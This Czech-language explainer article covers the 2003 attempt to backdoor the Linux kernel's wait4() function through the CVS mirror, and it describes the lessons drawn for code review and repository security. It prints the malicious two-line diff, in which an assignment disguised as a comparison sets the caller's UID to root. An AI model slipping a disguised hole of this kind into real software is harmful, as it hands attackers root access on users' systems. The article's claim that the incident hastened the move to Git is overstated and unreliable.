Zpět na domů

Backdoor v wait4(): zranitelnost Linux kernel

V roce 2003 v repozitáři CVS Linux kernel objevili backdoor ve funkci wait4(): přiřazení místo porovnání dávalo root-privilégia. Incident odhalil rizika legacy úložišť a urychlil přechod na Git. Rozbor kódu a současné praktiky ochrany.

Jak backdoor v wait4() málem prolomil Linux kernel
Advertisement 728x90

# Backdoor v jádru Linuxu: jak chyba v wait4() málem otevřela root přístup

V roce 2003 vývojáři Linuxu objevili neoprávněnou změnu v repozitáři CVS. Ve funkci wait4() se objevil podezřelý kódový fragment, který mohl poskytnout root privilegia jakémukoli uživateli. Změna se objevila bez jakýchkoli stop v hlavním úložišti BitKeeper, což naznačovalo napadení repozitáře CVS.

Kód vypadal na první pohled neškodně:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Problém se skrýval v operátoru =. Místo porovnání == bylo použito přiřazení, které nastavilo current->uid na 0 (root) pro jakékoli volání wait4() s příznaky __WCLONE a __WALL. To otevřelo cestu k eskalaci privilegií bez dalších kontrol.

Google AdInline article slot

Historie repozitářů a místo zranitelnosti

V té době Linux používal paralelně dva repozitáře:

  • BitKeeper — hlavní, moderní VCS pro jádro.
  • CVS — legacy úložiště pro staré nástroje a oldschoolové vývojáře.

Synchronizace probíhala ručně: změny z BitKeeper se kopírovaly do CVS s tagy. Útočník získal přístup právě k CVS a nenápadně tam podstrčil patch. Absence automatických kontrol a rozdíl v uživatelích repozitářů umožnil obejít bezpečnostní mechanismy.

Vývojáři si anomálii všimli při rutinní kontrole: commit v CVS bez odpovídajícího v BitKeeper. Porovnání verzí odhalilo škodlivý kód.

Google AdInline article slot

Technický rozbor zranitelnosti

Funkce wait4() slouží k čekání na dokončení dětských procesů s rozšířenými možnostmi. Příznaky __WCLONE a __WALL se používají pro sledování klonů a všech procesů.

Logika útoku je jednoduchá:

  • Uživatel zavolá wait4(options = __WCLONE | __WALL).
  • Podmínka current->uid = 0 přiřadí UID 0 (root).
  • Vrátí se -EINVAL, což zamaskuje úspěch.
  • Následné systémové volání se provádějí jako root.

Jednalo se o zero-day backdoor: nevyžadoval exploit, aktivoval se standardním voláním. Podobné chyby (= místo ==) jsou častou příčinou zranitelností v C.

Google AdInline article slot

Lekce pro moderní vývoj

Tento incident zdůraznil rizika legacy systémů. Současné postupy takové hrozby minimalizují:

  • Jednotné úložiště: Git s větvemi a PR.
  • CI/CD s kontrolami: Automatický diff, statická analýza (Coverity, Clang).
  • Podpisy commitů: GPG/PGP pro autentizaci.
  • Signed tags: Ochrana vydání.
  • Fuzzing a audit: Nepřetržité testování syscallů.

V jádru Linuxu jsou nyní povinné code review a automatizované testy na takové vzorce.

Co je důležité

  • Chyba = místo == v wait4() vytvořila root backdoor pro jakéhokoli uživatele.
  • Napadení proběhlo přes CVS, zatímco BitKeeper zůstal čistý.
  • Ruční synchronizace repozitářů byla v roce 2003 slabým článkem.
  • Incident urychlil přechod na Git ve vývoji jádra.
  • Kontrolujte podmínky v podmínkových operátorech: kompilátor ne vždy chytí přiřazení.

— Editorial Team

Advertisement 728x90

Číst dál